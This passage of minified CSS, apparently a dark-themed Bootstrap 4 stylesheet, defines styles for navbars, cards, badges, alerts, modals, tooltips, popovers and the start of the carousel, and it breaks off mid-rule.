.navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-md .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 992px){.navbar-expand-lg{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-lg .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .dropup .dropdown-menu{top:auto;bottom:100%}}@media (max-width: 1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width: 1200px){.navbar-expand-xl{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand-xl .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .dropup .dropdown-menu{top:auto;bottom:100%}}.navbar-expand{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row nowrap;flex-flow:row nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .dropdown-menu-right{right:0;left:auto}.navbar-expand .navbar-nav .nav-link{padding-right:0.5rem;padding-left:0.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-webkit-box !important;display:-ms-flexbox !important;display:flex !important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .dropup .dropdown-menu{top:auto;bottom:100%}.navbar-light .navbar-brand{color:rgba(0,0,0,0.7)}.navbar-light .navbar-brand:hover,.navbar-light .navbar-brand:focus{color:rgba(0,0,0,0.7)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,0.4)}.navbar-light .navbar-nav .nav-link:hover,.navbar-light .navbar-nav .nav-link:focus{color:rgba(0,0,0,0.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,0.3)}.navbar-light .navbar-nav .show>.nav-link,.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .nav-link.active{color:rgba(0,0,0,0.7)}.navbar-light .navbar-toggler{color:rgba(0,0,0,0.4);border-color:rgba(0,0,0,0.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.4)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,0.4)}.navbar-light .navbar-text a{color:rgba(0,0,0,0.7)}.navbar-light .navbar-text a:hover,.navbar-light .navbar-text a:focus{color:rgba(0,0,0,0.7)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:hover,.navbar-dark .navbar-brand:focus{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-nav .nav-link:hover,.navbar-dark .navbar-nav .nav-link:focus{color:rgba(255,255,255,0.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,0.25)}.navbar-dark .navbar-nav .show>.nav-link,.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .nav-link.active{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,0.5);border-color:rgba(255,255,255,0.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,0.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:hover,.navbar-dark .navbar-text a:focus{color:#fff}.card{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:rgba(238,232,213,0.125);background-clip:border-box;border:1px solid rgba(0,43,54,0.95);border-radius:0.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-body{-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:0.75rem}.card-subtitle{margin-top:-0.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:0.75rem 1.25rem;margin-bottom:0;background-color:rgba(7,54,66,0.25);border-bottom:1px solid rgba(0,43,54,0.95)}.card-header:first-child{border-radius:calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:0.75rem 1.25rem;background-color:rgba(7,54,66,0.25);border-top:1px solid rgba(0,43,54,0.95)}.card-footer:last-child{border-radius:0 0 calc(0.25rem - 1px) calc(0.25rem - 1px)}.card-header-tabs{margin-right:-0.625rem;margin-bottom:-0.75rem;margin-left:-0.625rem;border-bottom:0}.card-header-pills{margin-right:-0.625rem;margin-left:-0.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(0.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(0.25rem - 1px);border-top-right-radius:calc(0.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(0.25rem - 1px);border-bottom-left-radius:calc(0.25rem - 1px)}.card-deck{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width: 576px){.card-deck{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width: 576px){.card-group{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-webkit-box-flex:1;-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-img-top,.card-group>.card:first-child .card-header{border-top-right-radius:0}.card-group>.card:first-child .card-img-bottom,.card-group>.card:first-child .card-footer{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-img-top,.card-group>.card:last-child .card-header{border-top-left-radius:0}.card-group>.card:last-child .card-img-bottom,.card-group>.card:last-child .card-footer{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:0.25rem}.card-group>.card:only-child .card-img-top,.card-group>.card:only-child .card-header{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.card-group>.card:only-child .card-img-bottom,.card-group>.card:only-child .card-footer{border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer{border-radius:0}}.card-columns .card{margin-bottom:0.75rem}@media (min-width: 576px){.card-columns{-webkit-column-count:3;column-count:3;-webkit-column-gap:1.25rem;column-gap:1.25rem}.card-columns .card{display:inline-block;width:100%}}.breadcrumb{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:0.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#073642;border-radius:0.25rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:0.5rem;padding-left:0.5rem;color:#839496;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#839496}.pagination{display:-webkit-box;display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:0.25rem}.page-link{position:relative;display:block;padding:0.5rem 0.75rem;margin-left:-1px;line-height:1.25;color:#2AA198;background-color:transparent;border:1px solid #073642}.page-link:hover{color:#2AA198;text-decoration:none;background-color:#073642;border-color:#073642}.page-link:focus{z-index:2;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25);box-shadow:0 0 0 0.2rem rgba(7,54,66,0.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:0.25rem;border-bottom-left-radius:0.25rem}.page-item:last-child .page-link{border-top-right-radius:0.25rem;border-bottom-right-radius:0.25rem}.page-item.active .page-link{z-index:1;color:rgba(255,255,255,0.75);background-color:#073642;border-color:#073642}.page-item.disabled .page-link{color:#073642;pointer-events:none;cursor:auto;background-color:transparent;border-color:#073642}.pagination-lg .page-link{padding:0.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:0.3rem;border-bottom-left-radius:0.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:0.3rem;border-bottom-right-radius:0.3rem}.pagination-sm .page-link{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:0.2rem;border-bottom-left-radius:0.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:0.2rem;border-bottom-right-radius:0.2rem}.badge{display:inline-block;padding:0.25em 0.4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:0.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:0.6em;padding-left:0.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#B58900}.badge-primary[href]:hover,.badge-primary[href]:focus{color:#fff;text-decoration:none;background-color:#826200}.badge-secondary{color:#fff;background-color:#839496}.badge-secondary[href]:hover,.badge-secondary[href]:focus{color:#fff;text-decoration:none;background-color:#697b7d}.badge-success{color:#fff;background-color:#2AA198}.badge-success[href]:hover,.badge-success[href]:focus{color:#fff;text-decoration:none;background-color:#1f7972}.badge-info{color:#fff;background-color:#268BD2}.badge-info[href]:hover,.badge-info[href]:focus{color:#fff;text-decoration:none;background-color:#1e6ea7}.badge-warning{color:#fff;background-color:#CB4B16}.badge-warning[href]:hover,.badge-warning[href]:focus{color:#fff;text-decoration:none;background-color:#9d3a11}.badge-danger{color:#fff;background-color:#D33682}.badge-danger[href]:hover,.badge-danger[href]:focus{color:#fff;text-decoration:none;background-color:#b02669}.badge-light{color:#002B36;background-color:#FDF6E3}.badge-light[href]:hover,.badge-light[href]:focus{color:#002B36;text-decoration:none;background-color:#fae7b3}.badge-dark{color:#fff;background-color:#073642}.badge-dark[href]:hover,.badge-dark[href]:focus{color:#fff;text-decoration:none;background-color:#021014}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#073642;border-radius:0.3rem}@media (min-width: 576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:0.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:0.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:0.75rem 1.25rem;color:inherit}.alert-primary{color:#5e4700;background-color:#f0e7cc;border-color:#eadeb8}.alert-primary hr{border-top-color:#e4d5a4}.alert-primary .alert-link{color:#2b2000}.alert-secondary{color:#444d4e;background-color:#e6eaea;border-color:#dce1e2}.alert-secondary hr{border-top-color:#ced5d6}.alert-secondary .alert-link{color:#2c3233}.alert-success{color:#16544f;background-color:#d4ecea;border-color:#c3e5e2}.alert-success hr{border-top-color:#b1ddd9}.alert-success .alert-link{color:#0b2c29}.alert-info{color:#14486d;background-color:#d4e8f6;border-color:#c2dff2}.alert-info hr{border-top-color:#add4ee}.alert-info .alert-link{color:#0c2c42}.alert-warning{color:#6a270b;background-color:#f5dbd0;border-color:#f0cdbe}.alert-warning hr{border-top-color:#ebbda9}.alert-warning .alert-link{color:#3c1606}.alert-danger{color:#6e1c44;background-color:#f6d7e6;border-color:#f3c7dc}.alert-danger hr{border-top-color:#efb2cf}.alert-danger .alert-link{color:#45122b}.alert-light{color:#848076;background-color:#fffdf9;border-color:#fefcf7}.alert-light hr{border-top-color:#fbf4e0}.alert-light .alert-link{color:#69665e}.alert-dark{color:#041c22;background-color:#cdd7d9;border-color:#bac7ca}.alert-dark hr{border-top-color:#acbbbf}.alert-dark .alert-link{color:black}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-webkit-box;display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:0.75rem;background-color:#073642;border-radius:0.25rem}.progress-bar{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;color:#B58900;text-align:center;background-color:#B58900;-webkit-transition:width 0.6s ease;transition:width 0.6s ease}.progress-bar-striped{background-image:linear-gradient(45deg, rgba(255,255,255,0.15) 25%, transparent 25%, transparent 50%, rgba(255,255,255,0.15) 50%, rgba(255,255,255,0.15) 75%, transparent 75%, transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.media-body{-webkit-box-flex:1;-ms-flex:1;flex:1}.list-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#839496;text-align:inherit}.list-group-item-action:hover,.list-group-item-action:focus{color:rgba(255,255,255,0.75);text-decoration:none;background-color:#073642}.list-group-item-action:active{color:#839496;background-color:#EEE8D5}.list-group-item{position:relative;display:block;padding:0.75rem 1.25rem;margin-bottom:-1px;background-color:transparent;border:1px solid #073642}.list-group-item:first-child{border-top-left-radius:0.25rem;border-top-right-radius:0.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:0.25rem;border-bottom-left-radius:0.25rem}.list-group-item:hover,.list-group-item:focus{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#073642;background-color:transparent}.list-group-item.active{z-index:2;color:rgba(255,255,255,0.75);background-color:#073642;border-color:#073642}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#5e4700;background-color:#eadeb8}.list-group-item-primary.list-group-item-action:hover,.list-group-item-primary.list-group-item-action:focus{color:#5e4700;background-color:#e4d5a4}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#5e4700;border-color:#5e4700}.list-group-item-secondary{color:#444d4e;background-color:#dce1e2}.list-group-item-secondary.list-group-item-action:hover,.list-group-item-secondary.list-group-item-action:focus{color:#444d4e;background-color:#ced5d6}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#444d4e;border-color:#444d4e}.list-group-item-success{color:#16544f;background-color:#c3e5e2}.list-group-item-success.list-group-item-action:hover,.list-group-item-success.list-group-item-action:focus{color:#16544f;background-color:#b1ddd9}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#16544f;border-color:#16544f}.list-group-item-info{color:#14486d;background-color:#c2dff2}.list-group-item-info.list-group-item-action:hover,.list-group-item-info.list-group-item-action:focus{color:#14486d;background-color:#add4ee}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#14486d;border-color:#14486d}.list-group-item-warning{color:#6a270b;background-color:#f0cdbe}.list-group-item-warning.list-group-item-action:hover,.list-group-item-warning.list-group-item-action:focus{color:#6a270b;background-color:#ebbda9}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#6a270b;border-color:#6a270b}.list-group-item-danger{color:#6e1c44;background-color:#f3c7dc}.list-group-item-danger.list-group-item-action:hover,.list-group-item-danger.list-group-item-action:focus{color:#6e1c44;background-color:#efb2cf}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#6e1c44;border-color:#6e1c44}.list-group-item-light{color:#848076;background-color:#fefcf7}.list-group-item-light.list-group-item-action:hover,.list-group-item-light.list-group-item-action:focus{color:#848076;background-color:#fbf4e0}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#848076;border-color:#848076}.list-group-item-dark{color:#041c22;background-color:#bac7ca}.list-group-item-dark.list-group-item-action:hover,.list-group-item-dark.list-group-item-action:focus{color:#041c22;background-color:#acbbbf}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#041c22;border-color:#041c22}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#839496;text-shadow:none;opacity:.5}.close:hover,.close:focus{color:#839496;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:0.5rem;pointer-events:none}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform 0.3s ease-out;transition:-webkit-transform 0.3s ease-out;transition:transform 0.3s ease-out;transition:transform 0.3s ease-out, -webkit-transform 0.3s ease-out;-webkit-transform:translate(0, -25%);transform:translate(0, -25%)}.modal.show .modal-dialog{-webkit-transform:translate(0, 0);transform:translate(0, 0)}.modal-dialog-centered{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;min-height:calc(100% - (0.5rem * 2))}.modal-content{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#073642;background-clip:padding-box;border:1px solid #002B36;border-radius:0.3rem;outline:0}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:0.5}.modal-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;padding:1rem;border-bottom:1px solid #002B36;border-top-left-radius:0.3rem;border-top-right-radius:0.3rem}.modal-header .close{padding:1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-webkit-box-flex:1;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:end;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #002B36}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width: 576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-centered{min-height:calc(100% - (1.75rem * 2))}.modal-sm{max-width:300px}}@media (min-width: 992px){.modal-lg{max-width:800px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:"Source Sans Pro", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:0.9}.tooltip .arrow{position:absolute;display:block;width:0.8rem;height:0.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-top,.bs-tooltip-auto[x-placement^="top"]{padding:0.4rem 0}.bs-tooltip-top .arrow,.bs-tooltip-auto[x-placement^="top"] .arrow{bottom:0}.bs-tooltip-top .arrow::before,.bs-tooltip-auto[x-placement^="top"] .arrow::before{top:0;border-width:0.4rem 0.4rem 0;border-top-color:#000}.bs-tooltip-right,.bs-tooltip-auto[x-placement^="right"]{padding:0 0.4rem}.bs-tooltip-right .arrow,.bs-tooltip-auto[x-placement^="right"] .arrow{left:0;width:0.4rem;height:0.8rem}.bs-tooltip-right .arrow::before,.bs-tooltip-auto[x-placement^="right"] .arrow::before{right:0;border-width:0.4rem 0.4rem 0.4rem 0;border-right-color:#000}.bs-tooltip-bottom,.bs-tooltip-auto[x-placement^="bottom"]{padding:0.4rem 0}.bs-tooltip-bottom .arrow,.bs-tooltip-auto[x-placement^="bottom"] .arrow{top:0}.bs-tooltip-bottom .arrow::before,.bs-tooltip-auto[x-placement^="bottom"] .arrow::before{bottom:0;border-width:0 0.4rem 0.4rem;border-bottom-color:#000}.bs-tooltip-left,.bs-tooltip-auto[x-placement^="left"]{padding:0 0.4rem}.bs-tooltip-left .arrow,.bs-tooltip-auto[x-placement^="left"] .arrow{right:0;width:0.4rem;height:0.8rem}.bs-tooltip-left .arrow::before,.bs-tooltip-auto[x-placement^="left"] .arrow::before{left:0;border-width:0.4rem 0 0.4rem 0.4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:0.25rem 0.5rem;color:#fff;text-align:center;background-color:#000;border-radius:0.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:"Source Sans Pro", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:0.875rem;word-wrap:break-word;background-color:#073642;background-clip:padding-box;border:1px solid #002B36;border-radius:0.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:0.5rem;margin:0 0.3rem}.popover .arrow::before,.popover .arrow::after{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-top,.bs-popover-auto[x-placement^="top"]{margin-bottom:0.5rem}.bs-popover-top .arrow,.bs-popover-auto[x-placement^="top"] .arrow{bottom:calc((0.5rem + 1px) * -1)}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before,.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{border-width:0.5rem 0.5rem 0}.bs-popover-top .arrow::before,.bs-popover-auto[x-placement^="top"] .arrow::before{bottom:0;border-top-color:#002b36}.bs-popover-top .arrow::after,.bs-popover-auto[x-placement^="top"] .arrow::after{bottom:1px;border-top-color:#073642}.bs-popover-right,.bs-popover-auto[x-placement^="right"]{margin-left:0.5rem}.bs-popover-right .arrow,.bs-popover-auto[x-placement^="right"] .arrow{left:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before,.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{border-width:0.5rem 0.5rem 0.5rem 0}.bs-popover-right .arrow::before,.bs-popover-auto[x-placement^="right"] .arrow::before{left:0;border-right-color:#002b36}.bs-popover-right .arrow::after,.bs-popover-auto[x-placement^="right"] .arrow::after{left:1px;border-right-color:#073642}.bs-popover-bottom,.bs-popover-auto[x-placement^="bottom"]{margin-top:0.5rem}.bs-popover-bottom .arrow,.bs-popover-auto[x-placement^="bottom"] .arrow{top:calc((0.5rem + 1px) * -1)}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before,.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{border-width:0 0.5rem 0.5rem 0.5rem}.bs-popover-bottom .arrow::before,.bs-popover-auto[x-placement^="bottom"] .arrow::before{top:0;border-bottom-color:#002b36}.bs-popover-bottom .arrow::after,.bs-popover-auto[x-placement^="bottom"] .arrow::after{top:1px;border-bottom-color:#073642}.bs-popover-bottom .popover-header::before,.bs-popover-auto[x-placement^="bottom"] .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-0.5rem;content:"";border-bottom:1px solid #073642}.bs-popover-left,.bs-popover-auto[x-placement^="left"]{margin-right:0.5rem}.bs-popover-left .arrow,.bs-popover-auto[x-placement^="left"] .arrow{right:calc((0.5rem + 1px) * -1);width:0.5rem;height:1rem;margin:0.3rem 0}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before,.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{border-width:0.5rem 0 0.5rem 0.5rem}.bs-popover-left .arrow::before,.bs-popover-auto[x-placement^="left"] .arrow::before{right:0;border-left-color:#002b36}.bs-popover-left .arrow::after,.bs-popover-auto[x-placement^="left"] .arrow::after{right:1px;border-left-color:#073642}.popover-header{padding:0.5rem 0.75rem;margin-bottom:0;font-size:1rem;color:inherit;background-color:#073642;border-bottom:1px solid #05232b;border-top-left-radius:calc(0.3rem - 1px);border-top-right-radius:calc(0.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:0.5rem 0.75rem;color:#839496}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-item{position:relative;display:none;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:100%;-webkit-transition:-webkit-transform 0.6s ease;transition:-webkit-transform 0.6s ease;transition:transform 0.6s ease;transition:transform 0.6s ease, -webkit-transform 0.6s ease;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000px;perspective:1000px}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next,.carousel-item-prev{position:absolute;top:0}.carousel-item-next.carousel-item-left,.carousel-item-prev.carousel-item-right{-webkit-transform:translateX(0);transform:translateX(0)}@supports (-webkit-transform-style: 